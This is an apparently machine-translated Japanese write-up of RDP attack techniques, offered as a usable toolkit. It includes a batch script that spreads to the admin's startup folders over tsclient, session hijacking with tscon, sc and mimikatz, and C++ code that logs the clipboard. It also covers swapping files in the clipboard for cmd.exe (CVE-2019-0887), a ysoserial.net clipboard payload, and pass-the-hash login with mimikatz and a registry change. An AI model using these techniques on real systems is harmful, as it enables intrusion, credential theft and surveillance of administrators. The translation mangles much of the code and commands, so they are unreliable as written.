最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。
rdpinception
この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。
@ECHOオフ
Windowsの更新をエコー.
@ECHOオフ
タイムアウト1 NUL 21
mkdir \\ tsclient \ c \ temp nul 21
MKDIR C: \ TEMP NUL 21
run.bat c: \ temp nul 21をコピーします
run.bat \\ tsclient \ c \ temp nul 21をコピーします
del /q%temp%\ temp_00.txt nul 21
dirs=dir /a:d /b /s c: \ users \*startup*
dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*
echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'
echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'
for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(
run.bat '%% a' nul 21をコピーします
c: \ temp \ run.bat '%% a' nul 21をコピーします
コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21
))
del /q%temp%\ temp_00.txt nul 21
rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)
RDPセッションハイジャック
実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。
この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。
まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。
1.psexec
c: \ windows \ system32quser
ユーザー名セッション名IDステータスアイドル時間ログイン時間
管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14
テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04
C: \ Windows \ System32TScon 2 RDP-TCP#1
2。サービス
Quser
SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'
ネットスタートSesshijack
3。ミミカッツ
特権:3360Debug
TS:セッション
toekn:3360Elevate
TS:REMOTE /ID:2
4。パスワードなしのハイジャックをシフト
com hijacking shift backdoor in webshell
rdpclip.exe utilization
RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。
ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。
1。せん断ボード監視
10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。
#include例外
#include iostream
#include ostream
#include stdexcept
#include文字列
#include windows.h
#include fstream
名前空間STDを使用。
クラスraiiclipboard
{
public:
raiiclipboard()
{
if(!openclipboard(null))
runtime_errorを投げます( 'クリップボードを開けません。');
//.またはクリップボードエラーのカスタム例外クラスを定義します。
}
〜RaiicLipboard()
{
closeclipboard();
}
//コピーを禁止します
private:
raiiclipboard(const raiiclipboard);
raiiclipboard operator=(const raiiclipboard);
};
クラスraiitextgloballock
{
public:
明示的なraiitextgloballock(ハンドルhdata)
: m_hdata(hdata)
{
m_psz=static_castconst char*(globallock(m_hdata));
if(!m_psz)
runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');
}
〜raiitextgloballock()
{
GlobalUnLock(M_HDATA);
}
const char* get()const
{
M_PSZを返します。
}
private:
M_HDATAを処理します。
const char* m_psz;
//コピーを禁止します
raiitextgloballock(const raiitextgloballock);
raiitextgloballockオペレーター=(const raiitextgloballock);
};
文字列getClipBoardText()
{
raiiclipboardクリップボード。
hdata=getClipBoardData(CF_TEXT);
if(hdata==null){
戻る '';
//runtime_errorをスロー( 'クリップボードテキストを取得できません。');
}
raiitextgloclock textgloballock(hdata);
string text(textgloballock.get());
テキストを返します。
}
void savedata(string data){
ofstream out( 'info.txt'、iOS:3360App);
if(out.is_open())
{
out data + '\ n';
out '----------------------------- \ n';
out.close();
}
}
int main()
{
static const int kexitok=0;
static const int kexiterror=1;
文字列data1='';
文字列data2='';
試す
{
while(true){
data2=getClipBoardText();
if(data1!=data2){
cout data2 endl;
savedata(data2);
}
それ以外{
Cout 'Clip Actionを待っています.' endl;
睡眠(300000);
}
data1=data2;
睡眠(10000);
}
Kexitokを返します。
}
キャッチ(const例外e)
{
cerr '*** error:' e.what()endl;
Kexiterrorを返します。
}
}
安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。
3924 888 rdpclip.exe x64 3 dmz2 \ rasta
注射3924 X64 SMB
PowerShell-Import D: \ Tools \ get-clipboardContents.ps1
PowerShell Get-ClipboardContents -Pollinterval 1
2。反撃rdp
ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。
1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。
2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。
CVE-2019-0887
Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。
Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:
クリップボードファイルを交換
#include iostream
#include windows.h
#include shlobj.h
int copyfiletoclipboard(char szfilename []);
int main()
{
copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');
0を返します。
}
int copyfiletoclipboard(char szfilename [])
{
uint udropeffect;
hglobal hgbleffect;
lpdword lpddropeffect;
ドロップファイルstdrop;
hglobal hgblfiles;
LPSTR LPDATA;
udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');
hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));
lpddropeffect=(lpdword)globallock(hgbleffect);
*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください
GlobalUnLock(hgbleffect);
stdrop.pfiles=sizeof(dropfiles);
stdrop.pt.x=0;
stdrop.pt.y=0;
stdrop.fnc=false;
stdrop.fwide=false;
hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);
lpdata=(lpstr)globallock(hgblfiles);
memcpy(lpdata、stdrop、sizeof(dropfiles));
strcpy(lpdata + sizeof(dropfiles)、szfilename);
GlobalUnLock(hgblfiles);
openclipboard(null);
emptyClipboard();
setclipboardData(CF_HDROP、hgblfiles);
setclipboarddata(udropeffect、hgbleffect);
closeclipboard();
返品1;
このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます
.NET脱介入
`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)
`https://github.com/pwntester/ysoserial.net`を利用します
使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String
テストプログラム:
PowerShell ISE
vs
描画ツール
TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。
rdp pth
ユーザーハッシュログインウィンドウで
mstsc
サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります
制限付き管理モードをオンにします
reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。
mimikatz
mimikatz.exe
特権:Debug
sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'